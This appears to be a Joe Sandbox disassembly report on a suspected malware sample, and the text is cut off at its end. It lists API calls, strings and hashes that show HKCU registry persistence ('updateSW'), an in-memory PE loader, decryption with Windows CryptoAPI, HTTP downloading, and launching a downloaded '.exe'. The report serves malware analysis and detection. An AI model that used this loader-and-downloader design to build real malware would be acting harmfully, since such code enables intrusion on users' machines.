GetTempPathA.KERNEL32(00000104,?,BC1B9E62,74DF0F00,00000000), ref: 00403D8A
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403F19
Sleep.KERNEL32(000003E8), ref: 00403F22
__Init_thread_footer.LIBCMT ref: 004044F7
__Init_thread_footer.LIBCMT ref: 004046BD
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 004048C7
__Init_thread_footer.LIBCMT ref: 00404955
__Init_thread_footer.LIBCMT ref: 00404BBE
CoInitialize.OLE32(00000000), ref: 00404C3F
CoCreateInstance.OLE32(0041F290,00000000,00000001,0041F260,?,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404C5A
__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404CC8

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,BC1B9E62), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

CoUninitialize.COMBASE(?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D,?,?,?,?,00000000,0042DA28), ref: 00404D01
CoUninitialize.OLE32(?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404DC4
CoUninitialize.OLE32(?,?,?,?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404E45
__Init_thread_footer.LIBCMT ref: 00404026

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Part of subcall function 004021F0: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
Part of subcall function 004021F0: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
Part of subcall function 004021F0: CloseHandle.KERNEL32(00000000), ref: 0040224E

__Init_thread_footer.LIBCMT ref: 00404202

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

Strings

]DFE, xrefs: 00404640
SUB=, xrefs: 00405A98
KDOX, xrefs: 004048E4
get, xrefs: 00405E91
viFO, xrefs: 004048DA
^OX*, xrefs: 00404B6B

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Init_thread_footer$CriticalSection$CreateFileUninitialize$EnterLeavePathSleepTime$ByteCharCloseConditionDirectoryFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@VariableWakeWideWrite__ehfuncinfo$??2@
String ID: KDOX$SUB=$]DFE$^OX*$get$viFO
API String ID: 995133137-4208347134
Opcode ID: 2b5074e5ae3f74629323bde4956dacc6f2b5a6a8a3ea0f745ae83f81f010b08c
Instruction ID: 2a7656185698f67e8fe61b04cbca63a222de47e8cf16a67dea48f36782a400ee
Opcode Fuzzy Hash: 2b5074e5ae3f74629323bde4956dacc6f2b5a6a8a3ea0f745ae83f81f010b08c
Instruction Fuzzy Hash: 7BF2D1B0E042188BDB24DF24CC49B9EBBB1EF45304F5441E9E5097B2D2DB78AA85CF59

Function 00404F50 Relevance: 40.1, APIs: 16, Strings: 6, Instructions: 1645sleepregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,BC1B9E62), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
Sleep.KERNEL32(000007D0), ref: 00405735
Sleep.KERNEL32(000007D0), ref: 0040574F
CoUninitialize.OLE32(?,?,0042DB3D,?,?,?,?,?,?,?,?,?,?,00000000,0042DB21), ref: 00405785
CoUninitialize.OLE32(?,?,?,?,?,0042DB3D,?,?,?,?,?,?,?), ref: 004057B1
RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

updateSW, xrefs: 0040565B
mixone, xrefs: 00406219
SUB=, xrefs: 00405A98
U%, xrefs: 00406916
DFEK, xrefs: 0040535C
get, xrefs: 00405E91

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTimeUninitialize$CloseCreateEnterFileLeaveOpenSystemUnothrow_t@std@@@Value__ehfuncinfo$??2@
String ID: DFEK$SUB=$get$mixone$updateSW$U%
API String ID: 606935701-3680244588
Opcode ID: 4db77f0429fbeff6bc7245b50d1839831cba9557f07ad327e6d61b565521e7f7
Instruction ID: 0d5b8b6ccd7ac2cce54ba59243f10dcebe2db4c82d63bd9967a8cdfa7b9099a4
Opcode Fuzzy Hash: 4db77f0429fbeff6bc7245b50d1839831cba9557f07ad327e6d61b565521e7f7
Instruction Fuzzy Hash: F5D20471D001148BDB14EB24CC597AEBB75AF01308F5481BEE8097B2D2DB78AE85CF99

Function 00402EC0 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 454
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000000D), ref: 00402EE2
SetLastError.KERNEL32(000000C1), ref: 00402F24

Strings

Section alignment invalid!, xrefs: 00402FA7
Size is not valid!, xrefs: 00402EE8
DOS header size is not valid!, xrefs: 00402F51
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402F93
p.@P.@0.@, xrefs: 004030C5
alignedImageSize != AlignValueUp!, xrefs: 0040300C
ERROR_OUTOFMEMORY!, xrefs: 00403042
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402F81
DOS header is not valid!, xrefs: 00402F12

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID: DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!$p.@P.@0.@
API String ID: 1452528299-2075088523
Opcode ID: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction ID: 9256140b0f890bfcd87a01f3051d579660d3e2dc250f0df49545701e60f9fd82
Opcode Fuzzy Hash: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction Fuzzy Hash: CCF1CE71B002059BCB10CFA9D985BAAB7B4BF48305F14417AE909EB3C2D779ED11CB98

Function 004035B0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,BC1B9E62), ref: 00403630
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403654
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 004036BE
GetLastError.KERNEL32 ref: 004036C8
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 004036F0
GetLastError.KERNEL32 ref: 004036FA
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040370A
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 004037CC
CryptDestroyKey.ADVAPI32(?), ref: 0040383E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0040360C

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 7f6218a34b9754140a9e9fc40106ac4304b7aaa720599af0eabc3a8fdf2c6258
Instruction ID: 8181a1f98bd0149a833479ac616fd79743055c61a592a1420c0c523c4d9566d8
Opcode Fuzzy Hash: 7f6218a34b9754140a9e9fc40106ac4304b7aaa720599af0eabc3a8fdf2c6258
Instruction Fuzzy Hash: 37819171A00218AFEF209F25CC45B9ABBB9FF45300F0081BAF90DA7291DB359E858F55

Function 00402A20 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 00402AC8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 00402ADD
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 00402AEB
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 00402B06
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 00402B25
LocalFree.KERNEL32(00000000), ref: 00402B32
LocalFree.KERNEL32(?), ref: 00402B37

Strings

%s: %s, xrefs: 00402B16
Error protecting memory page, xrefs: 00402B11

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$Error protecting memory page
API String ID: 839691724-1484484497
Opcode ID: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction ID: 0c0000675eadf2e66051917e59d7aa22c0aaa2fc97c5d5fe75df83e4770fcd9e
Opcode Fuzzy Hash: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction Fuzzy Hash: 4B310731B00104AFDB10DF68DD44FAAB768EF48704F0541BEE905AB2D2DB75AE06CB98

Function 00401940 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 293
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 004019D5
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 004019F8

Strings

text, xrefs: 00401B5F

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: 5d2b67920e7965021a67acd32ea28e335973d0b9692ae9a2ead62ee0d6d92aa5
Instruction ID: 0125e10c814f2167b0c83c61a86ba883da1fe49b2781431745f5a2561ed14111
Opcode Fuzzy Hash: 5d2b67920e7965021a67acd32ea28e335973d0b9692ae9a2ead62ee0d6d92aa5
Instruction Fuzzy Hash: FAC15B709002189FDB24DF64CC85BD9B7B5EF49304F1041EAE509B72A1D778AE94CF99

Function 00EED1DE Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00EED206
Module32First.KERNEL32(00000000,00000224), ref: 00EED226

Memory Dump Source

Source File: 00000000.00000002.2403918298.0000000000EEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EEC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eec000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 452a19fbb39697549a793bc021dc7816604ce825c783497a431232affa542577
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 31F096315007596FD7203BF69C8DFAE76E8EF49728F101569E752A10D0DB70EC464A61

Function 00408770 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

mixtwo, xrefs: 004087AC
emp, xrefs: 00408787

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep
String ID: emp$mixtwo
API String ID: 3472027048-2390925073
Opcode ID: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction ID: d670b023532553bde9b5cd74a18030282768016b503e3e09e149c4df20b712b6
Opcode Fuzzy Hash: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction Fuzzy Hash: 15F01CB161430457E7147F65ED1B7173EA4970271CFA006ADD8141F2C2E7FB861A8BE6

Function 10001523 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 192
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000152A
__cftof.LIBCMT ref: 10001624
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 1000163D
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001660
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 10001680
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,00000001), ref: 100016B0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100016C9
InternetCloseHandle.WININET(00000000), ref: 100016E0
InternetCloseHandle.WININET(00000000), ref: 100016E3
InternetCloseHandle.WININET(00000000), ref: 100016E9

Strings

http://, xrefs: 10001567
GET, xrefs: 100016AA

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction ID: 7cfd31fe4164df5669dc4f011f358c4066a4bf273ac9d15a63e71752a24e0b34
Opcode Fuzzy Hash: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction Fuzzy Hash: D5518F75E01618EBEB11CBE4CC85EEEB7B9EF48340F508114FA11BB189D7B49A45CBA0

Function 00401800 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 106
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401873
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401899
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018BF

Part of subcall function 00402470: Concurrency::cancel_current_task.LIBCPMT ref: 00402599

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018E5

Strings

GET, xrefs: 004020B7
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 0040189D
text, xrefs: 00401B5F
http://, xrefs: 00401EC4, 004021A3
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401832
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 004018C3
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 00401877

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$http://$text
API String ID: 2146599340-4172842843
Opcode ID: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction ID: d9449a1bc553b4f7263359658e85a8d5597bae1f9675cad689ed873ec2693fe7
Opcode Fuzzy Hash: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction Fuzzy Hash: A4316371D00109AFEB14DBE9CC85FEEB7B9EB08714F60812AE521731C0C7789945CBA4

Function 04B5003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04B5024D

Strings

cess, xrefs: 04B5018D
kernel32.dll, xrefs: 04B5008F, 04B50095

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 396920cd1cc17b7f9a719df89174d27e3b796f5da06276b071d7e00186d60338
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: C6526A74A01229DFDB64DF58C985BACBBB1BF09304F1480D9E94DAB361DB30AA85DF14

Function 10001175 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000117F
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 100011DD
InternetReadFile.WININET(?,?,000003E8,?), ref: 100011FB
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 10001298
CoCreateInstance.OLE32(?,00000000,00000001,100111B0,?), ref: 100012CA

Strings

text, xrefs: 10001327

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction ID: b002d723a568eb8b1b2c33cfea8b8604ab2d7fe63d6740fb25dc42610badb9b0
Opcode Fuzzy Hash: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction Fuzzy Hash: 62B14975900229AFEB65CF24CC85BDAB7B8FF09355F1041D9E508A7265DB70AE80CF90

Function 00405A30 Relevance: 8.2, APIs: 2, Strings: 3, Instructions: 678sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,BC1B9E62), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

SUB=, xrefs: 00405A98
U%, xrefs: 00406916
get, xrefs: 00405E91

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSleepSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: SUB=$get$U%
API String ID: 2563648476-1840017472
Opcode ID: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction ID: c38411781881cdafda6c84006562c20812e5f10be50bcbbeaff71a156a434d29
Opcode Fuzzy Hash: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction Fuzzy Hash: 04323171D101089BCB19FBB5C95AADE73786F14308F50817FE856771C2EE7C6A08CAA9

Function 10001F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005956: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F48,00000000), ref: 10005969
Part of subcall function 10005956: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000599A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1000212B
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002155

Strings

open, xrefs: 1000214F
.exe, xrefs: 1000206B

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction ID: 97952a91a625a221cb26b3956644a393a6e3da00256d77b8c5daa8cab0653b15
Opcode Fuzzy Hash: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction Fuzzy Hash: 40514B715083809BE724DF64C881EDFB7E8FB95394F004A2EF69986195DB70A944CB62

Function 00401E20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://, xrefs: 004021A3

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction ID: 09126ff878240097ddd60f0c8300d9112e53121ff3c2cf1df5c9ef382bee38eb
Opcode Fuzzy Hash: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction Fuzzy Hash: 1A518E71E002099FDF14CFA9C895BEEB7B9EB08304F10812EE915BB6C1C779A944CB94

Function 009B38B9 Relevance: 4.6, APIs: 3, Instructions: 129
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 009B395A
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009B3981
GetNativeSystemInfo.KERNEL32(?), ref: 009B39D8

Memory Dump Source

Source File: 00000000.00000002.2403256104.00000000009AE000.00000040.00000001.01000000.00000003.sdmp, Offset: 009AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ae000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: f4ed50f3875da980090935241bf7fab7a8fb4e6031d448179640e703dc787be6
Instruction ID: c25ee100c044448a5e5e7fa5e117c2f4aec92a8381f9544eee29b95d1f26e10c
Opcode Fuzzy Hash: f4ed50f3875da980090935241bf7fab7a8fb4e6031d448179640e703dc787be6
Instruction Fuzzy Hash: 9D5168B140860EDFEB01EF54CA496EEBBE8EF05310F12482ED9C286901D7795DA4DF5A

Function 009B3913 Relevance: 4.6, APIs: 3, Instructions: 79
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 009B395A
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009B3981
GetNativeSystemInfo.KERNEL32(?), ref: 009B39D8

Memory Dump Source

Source File: 00000000.00000002.2403256104.00000000009AE000.00000040.00000001.01000000.00000003.sdmp, Offset: 009AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ae000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: dcefab187a5923bfc71bbce7bd26b48678610858742ea03ef5c7cb28dfb87c02
Instruction ID: 49f1cbb6d66d9025801a13030ee0d71d7d06565eb5a2e948d14c09b57b7352f6
Opcode Fuzzy Hash: dcefab187a5923bfc71bbce7bd26b48678610858742ea03ef5c7cb28dfb87c02
Instruction Fuzzy Hash: C73168B140864EDFEF11DF60C9486EE3BA8EF05310F11486AE8C186912D7BA5DA4DF5A

Function 004021F0 Relevance: 4.6, APIs: 3, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
CloseHandle.KERNEL32(00000000), ref: 0040224E

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction ID: 5700bef43f604e24781938fdb315806f7bd82b17c931dadbe0ad0f8cbe635642
Opcode Fuzzy Hash: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction Fuzzy Hash: 2B01D272600208ABDB20DBA8DD49FAEB7E8EB48714F40417EFA05A62D0CBB46945C758

Function 00410536 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(08758BC2,?,00410530,00000016,0040CDA2,?,08758BC2,BC1B9E62,0040CDA2,08758BC2), ref: 00410547
TerminateProcess.KERNEL32(00000000,?,00410530,00000016,0040CDA2,?,08758BC2,BC1B9E62,0040CDA2,08758BC2), ref: 0041054E
ExitProcess.KERNEL32 ref: 00410560

Memory Dump Source

